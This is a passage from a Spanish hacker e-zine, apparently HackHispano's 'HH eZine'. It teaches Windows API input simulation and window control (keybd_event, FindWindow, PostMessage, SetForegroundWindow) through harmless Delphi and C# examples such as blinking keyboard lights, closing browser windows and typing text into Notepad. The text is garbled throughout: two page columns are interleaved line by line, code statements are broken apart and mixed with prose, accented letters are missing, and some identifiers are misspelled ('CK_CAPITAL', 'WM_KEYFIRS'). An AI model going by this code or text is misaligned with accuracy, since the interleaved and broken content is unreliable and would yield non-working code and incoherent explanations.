(bVk, bScan: Byte; dwFlags,dwExtraInfo VK_NUMPAD9 = 105;
VK_MULTIPLY = 106;
:DWORD); VK_ADD = 107;
VK_SEPARATOR = 108;
Est contenida en User32.dll de nombre keybd_event VK_SUBTRACT = 109;
Todos los parmetros son de entrada.BVk: es el cdigo VK_DECIMAL = 110;
de la tecla a pulsar.Corresponde a su equivalente en VK_DIVIDE = 111;
VK_F1 = 112;
ASCII, para teclas normales (por ejemplo A = 65, Z = 90, VK_F2 = 113;
a = 97...), y a los cdigos de teclas virtuales para simular VK_F3 = 114;
las teclas virtuales (espacio, enter, tab, mayus, Alt...). En VK_F4 = 115;
la siguiente tabla, se muestran las teclas virtuales y su VK_F5=116
VK_F6=117
correspondiente valor en hexadecimal. VK_F7=118
VK_CANCEL = 3; VK_F8=119
VK_BACK = 8; VK_F9=120
VK_TAB = 9; VK_F10=121
VK_CLEAR = 12; VK_F11=122
VK_RETURN = 13; VK_F12=123
VK_SHIFT = $10; VK_F13=124
VK_CONTROL = 17; VK_F14 = 125;
VK_MENU = 18; VK_F15 = 126;
VK_PAUSE = 19; VK_F16 = 127;
VK_CAPITAL = 20; VK_F17 = 128;
VK_KANA = 21; VK_F18 = 129;
VK_HANGUL = 21; VK_F19=130
VK_JUNJA = 23; VK_F20=131
VK_FINAL = 24; VK_F21=132
VK_HANJA = 25; VK_F22=133
VK_KANJI = 25; VK_F23=134
VK_CONVERT = 28; VK_F24=135
VK_NONCONVERT = 29; VK_NUMLOCK = 144
VK_ACCEPT = 30; VK_SCROLL = 145;
VK_MODECHANGE = 31; VK_LSHIFT = 160;
VK_ESCAPE = 27; VK_RSHIFT = 161
VK_SPACE = $20; VK_LCONTROL = 162;
VK_PRIOR = 33; VK_RCONTROL = 163;
VK_NEXT = 34; VK_LMENU = 164;
VK_END = 35; VK_RMENU = 165;
VK_HOME = 36; VK_PROCESSKEY = 229
VK_LEFT = 37; VK_ATTN = 246;
VK_UP = 38; VK_CRSEL = 247
VK_RIGHT = 39; VK_EXSEL = 248
VK_DOWN = 40; VK_EREOF = 249
VK_SELECT = 41; VK_PLAY = 250;
VK_PRINT = 42; VK_ZOOM = 251;
VK_EXECUTE = 43; VK_NONAME = 252;
VK_SNAPSHOT = 44; VK_PA1 = 253
VK_INSERT = 45; VK_OEM_CLEAR = 254
VK_DELETE = 46;
VK_HELP = 47;
VK_LWIN = 91;
VK_RWIN = 92;

Pag 37 de 44 HH eZine
Keybd_event (VkKeyScan(A), 0,
(Para ms informacin acudir al sitio oficial de MSDN) KEYEVENTF_KEYUP, 0); //La soltamos
Keybd_event (65, 0, 0, 0); //Otra forma
Nota: Podemos usar la funcin VkKeyScan de pulsar A, mediante su codigo ASCII.
(ch: char), que dado un carcter, obtiene el
cdigo asociado que debemos pasar a Ahora vamos a hacer un juego de luces
keybd_event. Est contenida en User32.dll de con el teclado.
nombre VkKeyScanA Var i: entero;
Principio desde i:=1 hasta 50 hacer
BScan: sirve para especificar el cdigo
hardware de la tecla. Por simplificar, usaremos Keybd_event(VK_CAPITAL, 0, 0, 0);
0, ya que este valor no es estrictamente
necesario para nuestro propsito. Keybd_event(VK_CAPITAL,0,KEYEVENT
F_KEYUP, 0);
DwFlags: para indicar posibles
configuraciones de la simulacin. Por ejemplo sleep(100);
para decir si queremos presionar o soltar la
tecla. Existen tres constantes que podemos usar: Keybd_event(VK_NUMLOCK, 0, 0, 0);
KEYEVENTF_EXTENDEDKEY; si se
especifica la pulsacin ser tratada como una Keybd_event(VK_NUMLOCK,0,KEYEVEN
tecla extendida TF_KEYUP, 0);
KEYEVENTF_KEYUP: si se especifica,
equivale a soltar la tecla, si no lo hacemos, sleep(100);fdesde
estaremos pulsndola. fin
KEYEVENTF_SILENT: si se especifica
anularemos cualquier sonido asociado a esa Nota: Sleep(ms: LongInt) es un
tecla. procedimiento de la API, incluida en
Kernel32.dll de nombre Sleep, en la que
DwExtraInfo: es un valor de 32 bits, le pasamos como parmetro los
opcional, asociado a la tecla. milisegundos en los que va a pararse la
ejecucin del cdigo.
Vamos a realizar algunos ejemplos.
Para refrescar un poco la memoria,
Keybd_event (VK_RETURN, 0, 0, 0); veamos como se implementa esto en un
//Simula la pulsacion de ENTER lenguaje determinado, lo haremos en
DELPHI y en C#:
Keybd_event (VK_RETURN, 0,
KEYEVENTF_KEYUP, 0); //Lo soltamos
Implementation
Keybd_event (VkKeyScan(A), 0, 0, 0); {$R *.dfm}
//Simula la pulsacion de A Procedure

Pag 38 de 44 HH eZine
private const int
keybd_event(bVk:Byte;bScan:Byte; KEYEVENTF_EXTENDEDKEY =
dwFlags,dwExtraInfo:DWORD); 0x1;
stdcall; private const int
externaluser32.dllname KEYEVENTF_KEYUP = 0x2;
'keybd_event';
for (int i=1; i<100; i++)
Procedure {
Sleep(milisegundos: Cardinal); stdcall; Keybd_event(VK_CAPITAL, 0, 0,0);
external kernel32.dll name 'Sleep';
stdcall; Keybd_event(CK_CAPITAL,0,
procedure
TForm1.Button1Click(Sender: TObject); KEYEVENTF_KEYUP, 0);
var sleep(100);
i: integer;
begin Keybd_event(VK_NUMLOCK, 0, 0, 0);
for i:=1 to 100 do begin
Keybd_event(VK_NUMLOCK,0,
Keybd_event(VK_CAPITAL, 0, 0, 0); KEYEVENTF_KEYUP, 0);
Keybd_event(CK_CAPITAL,0, sleep(100);
KEYEVENTF_KEYUP, 0); }
sleep(100);
Keybd_event(VK_NUMLOCK, 0, 0, 0); Nota: Ntese la diferencia entre un lenguaje y
Keybd_event(VK_NUMLOCK,0, otro la declaracin de las funciones y el tipo de
datos cmo vara. Por ejemplo lo que en Delphi es
KEYEVENTF_KEYUP, 0); un LongWord (DWORD), en C# es un UINT.
sleep(100);
end; Como dije anteriormente, en ambos
end; lenguajes, y en otros muchos, debido a la
end. librera tan completa que poseen actualmente,
no es necesario declarar las funciones porque
Y en C#: ya vienen declaradas. Por ejemplo podramos
habernos ahorrado declarar Sleep y usarlo tal
[DllImport(user32.dll)]
cual (usando Thread.Sleep, por ejemplo), pero
static extern void keybd_event(byte bVk,
recordamos que la ventaja de hacerlo as es
byte bScan, uint dwFlags, UintPtr
para ahorrarnos incluir ninguna librera (using
dwExtraInfo);
de C# y uses de delphi), y utilizar la DLL de
[DllImport(kernel32.dll)]
Windows, reduciendo considerablemente el
static extern void
tamao de nuestro fichero ejecutable. Esto fue
Sleep (int milisegundos);
comentado en la E-zine n1, por si queris
mas documentacin.

Pag 39 de 44 HH eZine
Dejo al lector, si siente curiosidad, que Si no encuentra la ventana, bien porque
realice una pequea aplicacin para resolver ya no existe o porque los parmetros que
quinielas (1 X 2), mediante este mtodo. Las hemos pasado son incorrectos, devuelve 0. Y
luces parpadearn indefinidamente, hasta que el otro valor, en caso de xito.
usuario pulse cualquier tecla, en este momento
segn haya parado la luz en VK_CAPITAL, Un ejemplo de uso de esta funcin sera:
VK_NUMLOCK o VK_SCROLL sabremos
poner 1 X 2. var
manejador: THandle; //THandle es
Hecho este pequeo recordatorio, y a la equivalente a un LongWord.
vez atractivo (y friqui), retomamos lo hablado
al principio del artculo sobre los manejadores o principio
Handles. manejador:=FindWindow(null, Sin
ttulo Bloc de notas);
Existen funciones que permiten obtener si manejador = 0
este Handle sobre una ventana activa, Imprime(Ventana no
simplemente conociendo el ttulo de sta o encontrada);
sabiendo el nombre de la aplicacin que la cre. //la ventana no existe o no es
Por ejemplo disponemos de FindWindow correcto algunos de los parmetros
| otras: //caso contrario
Funcion FindWindow (lpClassName, Imprime(Ventana encontrada);
lpWindowName: PChar) devuelve THandle //tratar la ventana mediante la
lpClassName: es el nombre de la clase variable manejador.
asociada a la ventana, por ejemplo Notepad si finsi
se trata del bloc de notas de Windows, o fin
IEFrame si se trata de una ventana del
Internet Explorer, etc... si no lo especificamos Ya sabemos obtener la direccin de
debemos ponerlo a null. memoria de cualquier aplicacin abierta en el
sistema, sabiendo simplemente el nombre de
lpWindowsName: es el ttulo de la la clase que la cre, o bien si posee ventana,
ventana. Si abrimos un bloc de notas, el ttulo sabiendo el ttulo de sta.
ser Sin titulo bloc de notas, o si abrimos Probablemente se est preguntando
por ejemplo una ventana de conversacin del como obtener, sin errores, el ttulo o la clase
MSN, el ttulo de sta ser el nickname del asociada a cualquier aplicacin, pues no
usuario Conversacin. Si no lo siempre sabremos esta informacin. Para
especificamos, debemos ponerlo a null. hacer esto existe la posibilidad de obtener
estos datos de todas las aplicaciones en
En esta funcin es obligatorio al menos ejecucin en el sistema, guardarlo por
especificar uno de los dos valores, dejando el ejemplo en una Lista y eligiendo aquella que
otro a null, aunque es ms preciso indicar los buscamos. Veremos esto con detenimiento en
dos. la prxima edicin.
Pag 40 de 44 HH eZine
PostMessage, que devolver inmediatamente si
Para los impacientes, las funciones y el mensaje fue o no introducido en la cola de
procedimientos a utilizar son EnumWindows, mensajes.
que enumera las ventanas en ejecucin,
GetWindowText, que obtiene el ttulo de stas, hWnd: es el Handle de la ventana o
y GetClassName que obtiene la clase asociada aplicacin a la que vamos a enviar el mensaje.
de cada una de ellas. Msg: es el mensaje a mandar. Existen unas
constantes.
Pero, ahora, qu hacemos con la wParam y lParam: son parmetros para
ventana?, cmo puedo trabajar con ella?. dar informacin adicional en algunos mensajes.
Existen dos funciones que permiten
enviar comandos (cerrar, minimizar, etc...), Estas funciones devuelven cierto si el
mensaje se ha logrado insertar correctamente en
la cola de mensajes, y falso en caso contrario.
Funcion PostMessage (hWnd: THandle,
Msg: LongWord, wParam: Entero, lParam: As, vamos a hacer un programa que cierre
Entero) devuelve Booleano Largo; por ejemplo una ventana del Internet Explorer.
Est contenida en User32.dll, de nombre
PostMessageA
Enva el mensaje a la cola de mensajes, y var
retorna m: THandle; //THandle = LongWord
(Delphi) = UINT (C#) = Long (Visual basic) = 4
Funcion SendMessage (hWnd: THandle, bytes
Msg: LongWord, wParam: Entero, lParam:
Entero) devuelve Booleano Largo;
Est contenida en User32.dll de nombre principio
SendMessageA m:=FindWindow(IEFrame, null);
Enva el mensaje a la cola de mensajes y si (m=0)
espera hasta que la aplicacin procese el Imprime(No hay ventanas de
mensaje. Internet Explorer que cerrar);
Cuando enviamos un mensaje, este es |otras:
introducido en una cola, a la espera de ser PostMessage(m, WM_CLOSE, 0, 0);
procesado, pero por lo general las colas suelen Fsi
contener pocos mensajes, por lo que a efectos Fin
prcticos no notaremos diferencia entre ambas.
Si lo que queremos es que nuestra aplicacin Notas: IEFrame es el nombre de la clase
est sincronizada con la que le asociada a las ventanas de Internet Explorer.
enviamos los mensajes, entonces debemos
esperar a que estos sucedan, usaremos
SendMessage. Si no es necesario esperar a que
sea procesado el mensaje, entonces usaremos

Pag 41 de 44 HH eZine
Los mensajes que podemos usar para
enviar son muy variados, algunos mas usados function FindWindow (lpClassName,
son: lpWindowName: PChar): LongWord;
stdcall
WM_NULL = $0000; WM_CREATE=$0001 externaluser32.dllnameFindWindowA;
WM_DESTROY = $0002; WM_NOTIFY=$004E;
WM_MOVE = $0003; WM_GETICON=$007F;
WM_SIZE = $0005; WM_SETICON=$0080; function SetForegroundWindow(hWnd:
WM_ACTIVATE = $0006; WM_KEYFIRS =$0100;
WM_SETFOCUS = $0007; WM_KEYDOWN=$0100; LongWord): LongBool; stdcall;
WM_KILLFOCUS= $0008; WM_KEYUP = $0101; externaluser32.dllname'SetForegroundWindo
WM_ENABLE = $000A; WM_CHAR = $0102;
WM_PAINT = $000F; WM_COMMAND=$0111; w';
WM_CLOSE = $0010; WM_MOUSEFIRS=$0200; {Esta ultima funcin aunque no la he
WM_QUIT = $0012; WM_MOUSEMOVE=$0200;
WM_SHOWWINDOW = $0018; WM_MOUSEWHEEL = explicado, es muy simple, sirve para traer a un
WM_FONTCHANGE = $001D; $020A; primer plano aquella ventana que queremos
WM_SETCURSOR = $0020; WM_MOUSELAST = $020A;
WM_MOUSEACTIVATE= WM_MOVING = 534; pasndole como parmetro su Handle,
$$0021; WM_CLEAR = $0303; previamente obtenido por ejemplo con
WM_PAINTICON = $0026; WM_UNDO = $0304;
WM_SETFONT = $0030; WM_USER = $0400; FindWindow. Como ya observareis, esta
WM_GETFONT = $0031; WM_ERASEBKGND = $0014; contenida en user32.dll}
WM_CANCELJOURNAL =
$004B
FunctionVkKeyScan(ch:Char):smallInt; stdcall;
externaluser32.dllname 'VkKeyScanA';
procedureTForm1.Button1Click(Sender: TObject);
Con estas constantes y las funciones var
vistas, podemos por ejemplo cerrar ventanas i: integer;
molestas (pop-up) de manera automtica, o m: THandle;
simular eventos dentro de ella, por ejemplo
s: string;
podemos enviar combinaciones de teclado, o
secuencias de teclas, como si estuviramos begin
hacindolo manualmente. Para que veis un s:= Hola desde HackHispano;
ejemplo, si abrimos un bloc de notas, y m:=FindWindow(Notepad, nil);
ejecutamos el siguiente cdigo, se escribir la if m<>0 then begin
SetForeGroundWindow(m); //la traemos a
cadena Hola desde HackHispano por si sola
un primer plano
(ver Fig1): for i:=1 to length(s) do begin
Implementation keybd_event(VkKeyScan(s[i]), 0, 0, 0);
{$R *.dfm} end;
procedure keybd_event (bVk: Byte; end else
ShowMessage(Aplicacin no encontrada);
bScan: Byte; dwFlags, dwExtraInfo:
end;
LongWord); stdcall;

externaluser32.dllname 'keybd_event';

Pag 42 de 44 HH eZine
Fig1. Resultado del cdigo anterior escrito en Delphi.
(Enviar secuencia de teclas)

Con esto y un poco de creatividad podemos ir


haciendo algunos programas personales para un
propsito especfico. Podemos crearnos una
rutina de secuencias de teclado y ratn para
usar en algn juego que
requiera de habilidad con el teclado. Prueba
usarlo en cualquier aplicacin, por ejemplo en
un juego de lucha o de habilidad.

Samir Sabbagh Sequera (HySTD)

Pag 43 de 44 HH eZine
Redactores :
eXcalibur
Cypress
j8k6f4v9j
4v7n42
Kania
rat
Gondar_f
kraos_inside
HySTD

Maquetacin y Diseo :

Clarinetista
Mimasol

Direccin del Proyecto:

Clarinetista

Pag 44 de 44 HH eZine

Potrebbero piacerti anche